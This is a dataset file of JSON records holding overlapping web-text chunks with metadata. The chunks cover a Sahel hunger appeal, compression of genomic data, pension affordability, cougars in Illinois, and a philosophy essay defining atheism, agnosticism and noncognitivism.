0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.301102"} {"text": "$ 925 million to meet immediate humanitarian needs in the sahel. at the end of may, less than half of that had been provided. particularly vulnerable countries such as niger now face an acute funding shortfall. a further delay in response will lead only to a deterioration of the crisis. in the short - term, there is an urgent need to meet immediate funding shortfalls. national governments in the region, donors, and humanitarian agencies must rapidly implement measures that enable the poorest to buy food. interventions such as monthly cash allowances, cash - for - work initiatives, and livelihoods opportunities can mitigate the short - term effects of the disaster. because this prevention work will not keep every child from becoming malnourished, we must also invest in the local health systems so that more people have access to treatment when and if they need it. but a band - aid approach will never break the cycle of hunger. in the longer - term, government and donors must prioritize crisis prevention, rather than emergency response. strong, preventative action that builds the resilience of vulnerable communities to crop losses and rising food prices and makes smart investments in health care and infrastructure development are essential in finally closing the ' hunger gap ' that so many people in the sahel face each and every year. we must also respond more quickly to warning signs as they first emerge. unlike sudden onset emergencies like earthquakes, we do have systems in place that warn us when a food crisis is likely to emerge. we will never save as many lives if we continue to react only once an emergency is fully underway, nor will we prevent communities from falling deeper and deeper into poverty each time crops fail and food prices skyrocket. and it ' s not only the right thing to do - - it ' s also far less costly. evidence shows that it would have cost $ 1 per day per child to prevent malnutrition if international donors had launched an early response to the 2005 niger food crisis. instead, it cost $ 80 per day per child to provide emergency medical treatment for severe malnutrition. when i was in niger, i saw children so close to death because of a lack of food, their worried parents cradling them, uncertain if they will live or die. the longer the delay in seeking treatment, the harder it is to save them. in one nutrition treatment center, i met a child who was so dehydrated that her veins had collapsed, making it nearly impossible to insert an intravenous cannula to give her life", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.41959371105324184, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.302112"} {"text": "treatment, the harder it is to save them. in one nutrition treatment center, i met a child who was so dehydrated that her veins had collapsed, making it nearly impossible to insert an intravenous cannula to give her lifesaving fluids. the health worker first tried her arm, her hand, and then finally her head, but was unable to get the needle into a vein. with the help of a colleague, they were finally able to get the needle in so that the child could start the long, slow road to recovery. concern has been working in niger since 2002 and has responded to food crises in 2005, 2008, and 2010. last year, when the first early warning signs emerged that a food crisis would likely be on the horizon in 2012, we launched programs that gave the poorest and most vulnerable quick access to cash so that they would continue to be able to access food without making the hard sacrifices that so many have to face, like pulling their children out of school or selling the few assets that they have just so they can eat. the impact of these interventions is immediate and, in the midst of a crisis, is proof that we can save lives and protect the most vulnerable if we respond early and coordinated / strong. i met a woman who had five children and whose husband had left to nigeria to find work, but had not heard from him since. she started to receive monthly cash allowances from concern through her mobile phone, a safety net that helped her provide food for her children and prevent them from becoming malnourished. this year, concern will plan to reach 150, 000 people like her with interventions that not only respond to the urgent needs, including the treatment of malnutrition, but also build long - term resilience and tackle the root causes of poverty and hunger. i met men and women who were setting up rain harvesting systems as part of concern ' s cash - for - work schemes. these people were not only receiving an income to get them through the lean season - - they were also learning valuable techniques that were already increasing their crop yields by at least 50 percent. we have an opportunity now in the sahel to change how we approach hunger and food security, but it cannot only be international non - governmental organizations ( ngos ) like concern which work to make this happen. national governments, donor governments as well as the news media and the general public must also change their culture of only opening their eyes once photographs of emaciated children are splashed across the front - page. we", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4442734453493204, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.303102"} {"text": "like concern which work to make this happen. national governments, donor governments as well as the news media and the general public must also change their culture of only opening their eyes once photographs of emaciated children are splashed across the front - page. we know what we need to do and have the power to make those images disappear - - but there is no time to waste. the sahel region of west africa is suffering from a food crisis. the lethal combination of drought, poor harvest, and increased food prices is affecting an estimated 18. 7 million people across niger, chad, mali, burkina faso, and mauritania, and putting more than one million children under five years old at risk of severe acute malnutrition. < i > photo : tagaza djibo / concern worldwide < / i > children draw water from the only traditional well of the village of missoulmi in the region of tahoua, niger. people often suffer from waterborne diseases as they lack access to clean and safe water. < em > photo : tagaza djibo / concern worldwide < / em > mariama mamidine, from the village of inwaran in tahoua, niger is a mother of five and her husband is an immigrant worker based in the ivory coast. her youngest son, habibou ibrahim, is severely malnourished and currently receiving treatment at a concern - supported treatment ward in the regional hospital. when interviewed, she explains to us : \" we are only able to have one meal a day for the children. my husband is aware of my child ' s illness but hasn ' t sent any money. life in our village is very difficult because of the lack on anything to eat. \" < i > photo : tagaza djibo / concern worldwide < / i > hafiza moussa is three years old and suffering from malaria. he is receiving treatment from a concern - supported ward ( creni ) at the regional hospital. < i > photo : jennifer o ' gorman / concern worldwide < / i > despite being so sick, mainiouna raises his hand to wave goodbye. mainiouna, who is three years old, was diagnosed with pleurisy. accompanied by his mother maria, he is currently being looked after at the concern - supported ward ( creni ) at the tahoua regional hospital. < em > photo : noel gavin / allpix / concern worldwide < / em > \" i am a widow taking care of my four grandson", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.39420172032421974, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.304168"} {"text": "being looked after at the concern - supported ward ( creni ) at the tahoua regional hospital. < em > photo : noel gavin / allpix / concern worldwide < / em > \" i am a widow taking care of my four grandsons left by their parents so they can find work in nigeria. my situation is not very good. currently to feed my family, i search for millet grains in termite hills. sometime i manage to get enough to prepare one meal. i also gather firewood to sell so i can buy something to eat. \" - - zahi amadou, from the village of maissoulimi, tahoua region, niger zahi is one of the women benefiting from concern ' s mobile cash transfer program. she received money through her mobile phone and uses this to buy food for her family. < em > photo : tagaza djibo / concern worldwide < / em > \" my nine - month old daughter was screened by the concern team and diagnosed with severe acute malnutrition. she was so weak and sick i thought she wouldn ' t survive until she was admitted into the affala health center. at the center, concern provided with her with plumpy nut and medicine, and it ' s through this treatment that my child got her health back and was discharged. she still benefits from 15 sachets of plumpy nut a week. \" - - niima halilou, 44 years old, mother of seven children from tahoua, niger < em > photo : tagaza djibo / concern worldwide < / em > mrs. gaichatou kazi is 40 years old and lives with her husband and her five children in the village of missoulmi, tahoua region, niger. she is a beneficiary of concern ' s mobile cash transfer program. the money is sent through her mobile phone, a safety net that helped her provide food for her children and prevent them from becoming malnourished. < em > photo : tagaza djibo / concern worldwide < / em > concern has been working in niger since 2002 and has responded to food crises in 2005, 2008, and 2010. last year, when the first early warning signs emerged that a food crisis would likely be on the horizon in 2012, we launched programs that gave the poorest and most vulnerable quick access to cash so that they would continue to be able to access food, without making the hard sacrifices that so many have to face, like", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.41926879757021407, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.305060"} {"text": "with the improvements in sequencing technology we are rapidly approaching bioinformatic overload. biologists need new methods to store and access the huge wave of data that is about to hit the subject and one solution might be to use compression at the moment dna sequencing is following a doubling law with the speed doubling every few months. this far outstrips the rate at which computing power is increasing. the amount of genomic data is estimated to be increasing ten - fold each year and currently sequencing a complete human genome takes about a week and costs less than $ 10, 000. soon complete sequencing will be a matter of routine. we clearly need some new ways of processing this data mountain. the main problem is searching through long sequences to find similar target sequences. you might think that searching one string for a target string is an easy algorithm, but the matching criterion is not exact. there can be mismatched point mutations and missing or additional units, indels ( insertions / deletions ). this makes matching sequences very difficult because you aren ' t searching for an exact match but for a good match. what makes the whole situation worse is the size of the search space and the target. we do know of exact solutions to the problem based on dynamic programming but in most cases practical analysis depends on heuristics. put simply genome sequence analysis is a difficult algorithmic problem. the key to finding a solution is to notice that most genomic sequences differ by very little. it may well be that the number of complete genome sequences being stored is increasing rapidly, but the actual amount of new data is very small. in other words, a single dna sequence isn ' t particularly compressible but a set of sequences shares so much in common that the redundancy can be used to store them in a much smaller storage space. from the compression achieved you can see that adding more genomes adds very little information this compressed data format not only saves storage space it can make sequence analysis much faster. the trick is to use a compression format that respects the underlying structure of the situation by storing the details of substitution, deletion, insertion and so on. once you have a compressed format sequence it can be searched in a time that is proportional to the file size without having to decompress it. in a recent paper in nature biotechnology, po - ru loh, michael baym and bonnie berger ( mit and harvard medical school ) have demonstrated that this can be made to work. a genomic database was compressed using sequence similarities and then the standard blast and", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5205283870229096, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.308330"} {"text": "recent paper in nature biotechnology, po - ru loh, michael baym and bonnie berger ( mit and harvard medical school ) have demonstrated that this can be made to work. a genomic database was compressed using sequence similarities and then the standard blast and blat algorithms were implemented on the compressed data without performing decompression. blast, for example, works by searching for small marker \" words \" taken from the target in the search sequence. if the words are found and they have the same spacing in both the target and the search sequence then we have a potential match. the compressed version of the algorithm first searches any parts of the search sequence that hasn ' t been compressed using a low threshold for a match. then regions that have been identified as possible areas are effectively decompressed and searched with a higher threshold. the resulting algorithm was four times faster than the standard algorithm. there are problems with the method. in particular as more sequences are added to the database the compression becomes less effective as the redundancy decreases. there is clearly a lot of work still to be done. in particular there is a need to study the compression methods that could be used and how they interact with the search. it is obvious that precomputing similarities between sequences as part of a dictionary style compression should make searching faster.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5817791545479724, "token_count": 264, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.308869"} {"text": "pensions were one of the great inventions of the past century. now the european central bank ( ecb ) has issued a ' wake - up call ' on the affordability issues that lie ahead. the reason is very simple. as we note in ' boom, gloom and the new normal ', pensions were introduced first introduced in germany in 1889, and then in the uk in 1908. the idea was to provide a small amount of money to a small number of people for a small period of time : \u2022 life expectancy then was 30 years lower than today \u2022 pensions only went to those who lived 20 years longer than average since then, we have failed to index pension age to rising life expectancy. in addition, westerners have come to assume that pensions are a ' universal right '. we forget that younger people will have to pay the bill for this dramatic increase in costs. the ecb ' s report summarises the result. it calculates state - funded pension obligations in 19 eu countries where sufficient data exists : \u2022 they have combined obligations of \u20ac30trn ( $ 39trn ) \u2022 by comparison, total eu gdp in 2010 was only $ 12trn the ecb is not supposed to intervene in political issues. so it cannot publically state the obvious conclusion. but most people reading the report will be in no doubt about what this means. put simply, future pensioners are most unlikely to actually receive the money that has been ' promised ' to them. younger generations cannot, and will not, afford to pay the bill. in turn, this has enormous implications for the type and cost of the products and services that older people will require. affordability will be the key criteria for them in future years, not ' value in use '. companies that grasp this challenge will not only help to cushion the transition for disappointed would - be pensioners. they will also build a robust platform for their own future growth.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.46379819948469625, "token_count": 388, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.311114"} {"text": "everybody read about it \u2013 a high - tech hunter got video evidence that confirmed the presence in a morgan county woods of an adult cougar, only the fourth known to have been sighted in illinois since the 1870s, according to the state department of natural resources. the dnr staff are good scientists who don \u2019 t let their conclusions get ahead of their evidence. but less - than - scientific evidence of the big cat \u2019 s presence has been piling up for years, and for years was dismissed by wildlife experts. in deep southern illinois, for instance, cougars are seen more often than sober college students. one would think that it was be easier to mistake a democrat for a doughnut than to mistake a dog for a cat but lots of people do. most of the animals reported as cougars in illinois have probably been coyotes or feral dogs. however, the habitat and the food supply is there, so why shouldn \u2019 t the cats be there? these days we know wild animals only from the sanitized images from tv wildlife documentaries and the zombie - like specimens trapped in zoos. we no longer appreciate their wildness or their strength, as is confirmed by the regular reports of grown people sticking their hands into the cages of zoos. that wouldn \u2019 t be a problem if the only place people encountered cougars was the zoo. but the construction since the 1980s of exurban subdivisions surrounded by nature preserves and leafy stream bottoms means that people and cougars increasingly share the same habitat. the cats in such areas dine regularly on household pets, which they regard sort of like fast food. cougars \u2019 appetite for dogs is the best argument i know for strong wildlife protection laws. in a 2004 article for illinois issues magazine, i noted that in old illinois the big cats were known almost universally as panthers. the mappers of the u. s. geological survey list more than a dozen \u201c panther creeks \u201d along with their forks and branches, plus a panther grove, a panther hollow and a panther den, but not a single landscape feature in the state is officially named after the cougar. but while we know why yesterday \u2019 s negroes are now known as african - americans and why yesterday \u2019 s democratic party is now known as mike madigan, it is not clear why the panther is now known as the cougar. i speculated that \u201c panther \u201d was much the commoner usage in the american south, and the early preference for the term in illinois no doubt owes to the southern origin of so many of the state \u2019 s settlers. ( the cat", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4194887619383975, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.316477"} {"text": "cougar. i speculated that \u201c panther \u201d was much the commoner usage in the american south, and the early preference for the term in illinois no doubt owes to the southern origin of so many of the state \u2019 s settlers. ( the cat is still popularly known as the panther in southern illinois. ) the morgan county folks interviewed by the sj - r expressed unease at the idea of cougars in the neighborhood. true, the cat is astonishingly agile, strong and quick ; california wildlife experts tell hikers that there is no point being alert to a cat attack in the wild, because you \u2019 ll never know they \u2019 re there until they \u2019 re on your back. however, frontier dwellers were more afraid of the gray wolf, mainly because wolves, like legislators, hunted in packs. in settled areas, the cats are shy and withdrawing. in the summer of 2010 i got a chance to learn a little about life on the cougar - suburb interface in northern california. they feed mainly on deer in the wooded hills that surround so many subdivisions. in doing so they fulfill the ancient and honorable role of the predator by culling wild herds of sick or weakly animals. this fact alone endears the cats to nearby homeowners, since deer sneak down from the hills at night to lunch on garden plants like bluto going down the cafeteria line in animal house. cougars thus are seen in northern california nearly as often as coyotes are seen in illinois, and often in surprisingly populated spots. a jaded public usually reacts with curiosity rather than alarm. when an adult cat was spotted in daylight within yards of a middle school, the school did not respond by locking down the campus. it merely reminded anxious parents that their favorite tax deductions have been taught how to behave when confronted by a cougar. which is, try to make yourself look bigger than you are and make a lot of noise. that \u2019 s pretty much how schoolkids act all the time, which explains why cougars out there fear schoolkids in the same way that schoolkids fear math teachers. and what should you do if you are confronted by a cougar and you are too embarrassed to behave like you \u2019 re a fifth - grader? you could try imitating a candidate for congress ; they also make a lot of noise and try to look bigger than they are, and the cougar is probably as sick of politics as you are. if it actually attacks you anyway, do what everyone else does \u2013 blame obama. contact james krohe jr", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44300492780153805, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.317393"} {"text": "atheism, agnosticism, noncognitivism ( 1998 ) theodore m. drange suppose you are to answer the following two questions : ( 1 ) does the sentence \" god exists \" express a proposition? if you say no to the first question, then you may be classified as a noncognitivist with regard to god - talk. if you say yes to it, thereby allowing that the given sentence does express a proposition, then you are a cognitivist with regard to god - talk. ( let us henceforth abbreviate these expressions, simply using the terms \" cognitivist \" and \" noncognitivist \". ) all theists, atheists, and agnostics are cognitivists, so the second question applies to them : is the proposition that god exists true or false? you are a theist if and only if you say that the proposition is true or probably true, you are an atheist if and only if you say that it is false or probably false, and you are an agnostic if and only if you understand what the proposition is, but resist giving either answer, and support your resistance by saying, \" the evidence is insufficient \" ( or words to that effect ). one virtue of this way of characterizing the three groups of cognitivists is that it captures the way the terms are commonly used in ordinary language, and, in particular, it makes the groups mutually exclusive. no one can consistently be both a theist and an agnostic, or both an atheist and an agnostic. some other ways of drawing the distinction fail to capture that important feature. for example, if the term \" agnostic \" were defined as anyone who claims that there is insufficient evidence to know whether or not god exists, then it would be possible for a person to be both a theist and an agnostic. he could be what is called a fideist and say, \" i realize that the evidence is insufficient, but i believe in god anyway. \" ( incidentally, i am here taking the expression \" believe in god \" simply as shorthand for \" believe that god exists. \" ) alternatively, such an \" agnostic \" could be a \" fideistic atheist \" and say, \" though the evidence is insufficient, i deny god ' s existence anyway. \" that would make it possible for someone to be both an atheist and an agnostic. this result is a drawback to such a definition of \" agnostic, \" for it conflicts with", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5582961321618821, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.338821"} {"text": "evidence is insufficient, i deny god ' s existence anyway. \" that would make it possible for someone to be both an atheist and an agnostic. this result is a drawback to such a definition of \" agnostic, \" for it conflicts with the way the term is commonly used. another definition of \" agnostic \" which is at variance with common usage is that of thomas huxley, who first coined the word in 1869. he said the following : agnosticism is not a creed but a method, the essence of which lies in vigorous application of a single principle. positively the principle may be expressed as : in matters of intellect, follow your reason as far as it can carry you without other considerations. and negatively, in matters of the intellect, do not pretend the conclusions are certain that are not demonstrated or demonstrable. it is wrong for a man to say he is certain of the objective truth of a proposition unless he can produce evidence which logically justifies that certainty. that is what agnosticism asserts ; and, in my opinion, it is all that is essential to agnosticism.... the application of the principle results in the denial of, or the suspension of judgment concerning, a number of propositions respecting which our contemporary ecclesiastical \" gnostics \" profess entire certainty. thus, huxley would call anyone an \" agnostic \" who abides by the principle that propositions should be believed exactly in accord with the available evidence. however, he does not make the application of that principle to god ' s existence a part of the definition of the term \" agnostic. \" thus, people who claim to be able to prove god ' s existence or nonexistence could still be \" agnostics \" by huxley ' s definition, for they may indeed be abiding by the given principle. since the definition allows one to be both an agnostic and a theist or atheist, it fails to capture that ordinary - language concept that is the focus of this investigation. an agnostic could also be an atheist if the term \" atheist \" were defined more broadly, for example, as anyone who lacks a belief in god, or who classifies the proposition that god exists as anything other than true. such a definition is recommended by george h. smith in his book atheism : the case against god. other writers who support the definition are cited in michael martin ' s book atheism : a philosophical justification. according to this usage, people would be \" atheists \" even if", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5712772871302247, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.339860"} {"text": ". smith in his book atheism : the case against god. other writers who support the definition are cited in michael martin ' s book atheism : a philosophical justification. according to this usage, people would be \" atheists \" even if they answer the question whether it is true that god exists with \" no one knows. \" this is a departure from the most common use of the word \" atheist \" in ordinary language, which is in itself an important reason to avoid it. another reason is that infants and fetuses have no belief in god, yet it would be perverse to say that they are all atheists. sometimes the use of the term \" atheism \" to mean \" lack of theistic belief \" is supported by an appeal to etymology. for example, martin, in the book mentioned above, says the following : in greek a ' means without ' or not ' and theos ' means god. ' from this standpoint an atheist would simply be someone without a belief in god, not necessarily someone who believes that god does not exist. according to its greek roots, then, atheism is a negative view, characterized by the absence of belief in god. this argument is rather unsatisfactory for at least two reasons. first, it is not completely clear that the correct translation of the greek prefix \" a \" is \" without. \" it might also mean \" no, \" in which case \" a - the - ism \" could be translated as \" no - god - ism, \" or \" the view that there is no god. \" note that there is no \" ism \" in greek. second, even if the etymology of the word \" atheism \" did indicate that it once meant \" without belief in god, \" that is still not a good guide to current usage. it is quite common for words to acquire new meanings over time. it seems far more important what people mean by a word today than what it once meant long ago. another argument sometimes put forward is that we should ascertain what the word \" atheist \" means by taking a poll among atheists. but that is an unclear suggestion. how are we to decide who is an atheist ( and thus to be polled ) prior to ascertaining what the word \" atheist \" means? let us assume that the poll is to be taken among all those native speakers of english who are not theists. it is still not clear what the result of such a poll would be. i have never seen any statistical", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5254642797959255, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.340852"} {"text": "word \" atheist \" means? let us assume that the poll is to be taken among all those native speakers of english who are not theists. it is still not clear what the result of such a poll would be. i have never seen any statistical result presented on the matter. my conclusion here is that no good case has ever been made for using the word \" atheist \" in the sense of \" one who is without belief in god. \" in this essay, i shall use the term \" atheist \" in its ( more common ) narrow sense. martin draws a distinction between \" negative atheists, \" who are without any belief in god, and \" positive atheists, \" who deny god ' s existence. ) applying that distinction, it could be said that i ( and most people ) use the term \" atheist \" in the sense of \" positive atheist. \" it should be noted that all positive atheists are automatically negative atheists, which may sound somewhat peculiar when those expressions are used. in place of the expression \" negative atheist, \" i shall use the term \" nontheist. \" that seems to be a better term ( than \" atheist \" ) for capturing the more general concept of \" one who is without belief in god, \" for several reasons : ( 1 ) almost everyone who employs the term \" nontheist \" already uses it in the given way. ( 2 ) as indicated in dictionaries, most native speakers of english use the term \" atheist \" for the more definite concept of \" one who denies that god exists. \" it is desirable that we abide by common usage and it is foolish ( and probably futile ) to try to reform people ' s usage of terms. ( 3 ) it would be more natural to call infants and fetuses \" nontheists \" than to call them \" atheists. \" ( 4 ) it is desirable to have a system in which the familiar three classes, theists, atheists, and agnostics, are mutually exclusive, and that would not be possible if the term \" atheist \" were instead used for the more general concept. although the usual way of defining \" theist, \" \" atheist, \" and \" agnostic \" ( in terms of the proposition that god exists ) is commendable, it is also incomplete, for it yields no classification for someone who says, \" it depends on how you define the word god ' : for some definitions the proposition is true, for others it is false, and for still others i just don ' t know.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5513228995835547, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.341858"} {"text": "also incomplete, for it yields no classification for someone who says, \" it depends on how you define the word god ' : for some definitions the proposition is true, for others it is false, and for still others i just don ' t know. \" let us consider an alternate way of formulating the definitions. since the word \" god \" has many different meanings, it is possible for the sentence \" god exists \" to express many different propositions. what we need to do is to focus on each proposition separately. subscripts could be used for the different senses of \" god. \" thus we have the proposition that god1 exists, the proposition that god2 exists, the proposition that god exists, etc., with each different sense of \" god \" suitably defined. for each different sense of the term \" god, \" there will be theists, atheists, and agnostics relative to that concept of god. a person might be a theist relative to one concept of god but an atheist or agnostic relative to a different one. if the question is raised whether god1 exists, then theists relative to that concept ( of god ) are people who answer that question affirmatively. atheists relative to that concept are people who answer the question negatively. and agnostics relative to that concept are people who understand the question but who avoid committing themselves to a \" yes \" or \" no \" answer to it by maintaining that the evidence either way is insufficient. now suppose someone says of the sentence \" god1 exists, \" where \" god1 \" has been previously defined in some way, that it is a cognitively meaningless sentence and does not express any proposition at all. should such a person be called an \" atheist \" or an \" agnostic \"? in the encyclopedia of philosophy he is classified as an atheist. from one point of view, that seems reasonable, since such a person is obviously very far from being a believer in god1. on the other hand, he is not giving a negative answer to the question whether god1 exists. he is not saying of the proposition that god1 exists that it is a false proposition. so, from that perspective, he seems to fit more into the category of an agnostic. of course, the person in question is not taking a noncommittal stance relative to the proposition that god1 exists, for he does not even concede that there is any such proposition. so the \" agnostic \" label doesn ' t fit either. a. j. ayer,", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5851849262175146, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.343024"} {"text": "taking a noncommittal stance relative to the proposition that god1 exists, for he does not even concede that there is any such proposition. so the \" agnostic \" label doesn ' t fit either. a. j. ayer, a philosopher who held this type of position, rejected both labels \" atheist \" and \" agnostic. \" and that is the terminology that i prefer. i call such a person a \" noncognitivist with regard to god - talk \" ( or just \" noncognitivist \" for short ) and place him into a fourth category. the correctness of this terminology cannot be settled by appeal to ordinary language, for the type of position being considered is practically unknown among the lay public. it is almost exclusively held by those analytical philosophers known as logical positivists. rudolf carnap employed it with respect to the word \" god \" in his essay \" the elimination of metaphysics through logical analysis of language. \" a somewhat similar outlook had been expressed about seventy years earlier by charles bradlaugh in his essay \" a plea for atheism, \" however the view was there referred to as \" atheism. \" anyway, there is no basis for assessing how it would probably be classified by ordinary people. what is called for is simply some sort of linguistic stipulation. the reason i call the view \" noncognitivism with regard to god - talk \" rather than \" noncognitivism with regard to religious language \" is that the sentence \" god exists \" occurs in contexts other than religious language. one such context is the field of metaphysics. the existence of god is a standard topic in metaphysics, and there need be no reference within that context to religion or to religious discourse. thus, the noncognitivist is rejecting the cognitive meaningfulness of various sentences that contain the word \" god, \" whether those sentences occur within religious discourse or not. consider now the sentence \" god1 exists, \" where some definition has been previously given for the subject term \" god1. \" relative to that sentence, we may put forward the following definitions : a noncognitivist is someone who declares that the sentence does not express any proposition at all. a theist is someone who allows that the sentence expresses a proposition and who classifies the proposition as true or probably true. an atheist is someone who allows that the sentence expresses a proposition and who classifies the proposition as false or probably false. an agnostic is someone who allows that the sentence", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5603472072291809, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.344089"} {"text": "sentence expresses a proposition and who classifies the proposition as true or probably true. an atheist is someone who allows that the sentence expresses a proposition and who classifies the proposition as false or probably false. an agnostic is someone who allows that the sentence expresses a proposition, and who grants that he / she knows what that proposition is, but who is noncommittal about its truth or falsity on the grounds of insufficient evidence. it is to be borne in mind here that each category is relative to a particular interpretation of a sentence of the type \" god exists, \" a person may be in one category relative to one interpretation ( or one sense of the word \" god \" ), but in a different category relative to another interpretation. to illustrate these distinctions, consider the following four responses to a request for a definition of the term \" god \" : god1 = the universe itself ( all that exists ). [ or, alternatively, god1 = love. ] god2 = the powerful being who created the universe. god3 = the omnipotent creator of the universe whose highest goal regarding humans is that they believe that he has a son who died for them so that they might obtain salvation. god4 =? ( no definition is possible ; the word is indefinable. ) now suppose there were a philosopher who examined these four responses. when asked the question \" does god exist? \" he might very well respond as follows : in the case of god1, yes, god definitely exists, for it is obvious that the universe [ or love ] exists. in the case of god2, i understand the question but have no answer to it since the evidence is insufficient. in the case of god3, there is good evidence that such a being does not exist, for most humans do not believe in his son, etc., yet, if such a being were to exist, then probably he would have done things to cause them to have the given belief. and in the case of god4, i do not understand the question. since no definition of \" god4 \" has been given, the sentence \" god4 exists \" expresses no proposition whatever. given this response, we should say of such a philosopher that he is a theist relative to god1, an agnostic relative to god2, an atheist relative to god3, and a noncognitivist relative to god4. i would say that these answers to the four \" does god exist? \" questions are reasonable, though they are not necessarily the", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5862882052273335, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.345971"} {"text": "arena and in need of support. his view could be refuted by showing that the term \" god5 \" can be understood sufficiently to allow the sentence \" god5 exists \" to express a proposition. there could be philosophical debate about such an issue. in the case of the subjective noncognitivist, presumably he is not making a claim in the public arena. he only says that he himself fails to grasp the concept, allowing that possibly others might ( or perhaps that he himself might come to grasp it later ). of course, if he were to have very strong doubts about such a possibility, then his position would come close to that of the objective one. in expressing such doubts, he would be making a statement in the public arena. a similar distinction could be drawn in the case of agnosticism. subjective agnostics would be people who simply make autobiographical reports regarding their own situation. each of them says, for example, \" i don ' t have enough evidence one way or the other to give an answer to the question whether god5 exists. \" in contrast, objective agnostics would be making a statement in the public arena. it is the statement that there just does not exist sufficient evidence to warrant an answer to the given question, and if anyone at all were to answer the question with a yes or no, then that would be a mistake, and perhaps irrational. the way i have been construing agnosticism, it is the objective view that i have in mind. and similarly for noncognitivism. when i speak of that position, it should be understood that it is the objective form to which i mean to refer. thus, given a specific definition of \" god, \" agnostics are people who claim that no one has sufficient evidence to warrant acceptance of either theism or atheism. and noncognitivists are people who claim that no one understands the sentence \" god exists \" in a way that would allow it to express a proposition. one objection to my definition of \" atheism \" is that it seems to allow no way for anyone to simply proclaim, \" i am an atheist \" irrespective of the definition given for \" god. \" it seems to force one to always listen to a definition of \" god \" before saying, \" i am an atheist relative to that definition. \" a better way of defining \" atheism, \" it is claimed, is \" denial of the existence of all gods. \" i have two replies to this objection", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5720558085376278, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.348185"} {"text": "\" god \" before saying, \" i am an atheist relative to that definition. \" a better way of defining \" atheism, \" it is claimed, is \" denial of the existence of all gods. \" i have two replies to this objection. first, to define \" atheism \" as the denial of the existence of all gods is unsatisfactory, because there may be gods that clearly do exist. some people say, \" god is the universe \" or \" god is love. \" the reasonable response here should be to grant that god does exist when defined that way. consider also primitive tribes who worshiped huge statues as gods. we should be able to say, \" their god was a huge statue. \" but if we say that, then we need to grant that their god did indeed exist. second, discussions of the existence of god almost always occur within linguistic contexts in which a certain particular concept of god is understood. so one could legitimately proclaim \" i am an atheist \" in such a setting without first agreeing on a definition of \" god, \" for the simple reason that some definition of \" god \" is already being assumed. for example, if one is discussing the topic with christians, then it might be assumed that it is the christian concept of god that is at issue. there would then be no problem in simply proclaiming, \" i am an atheist, \" for it would be understood within that particular context that what is meant is \" i am an atheist with regard to the god of christianity. \" as indicated previously, agnostics allow that \" god exists \" expresses a proposition, but they regard the evidence as insufficient to warrant committing oneself one way or the other about the truth value of the proposition. they are not even willing to say that the proposition is probably true or that it is probably false. if a person were to say that it is probably true, then i would call him a \" theist, \" even if he is not willing to go so far as to say that he \" believes in god. \" he may just say that the evidence presently available favors the proposition that god exists ( where the term \" god \" is given some particular definition ). i would call him a \" theist \" so long as he leans to that side. similarly, i would call a person an \" atheist \" even if he is not willing to say that he believes in god ' s nonexistence. he may just say that the available evidence favors the proposition that god does not 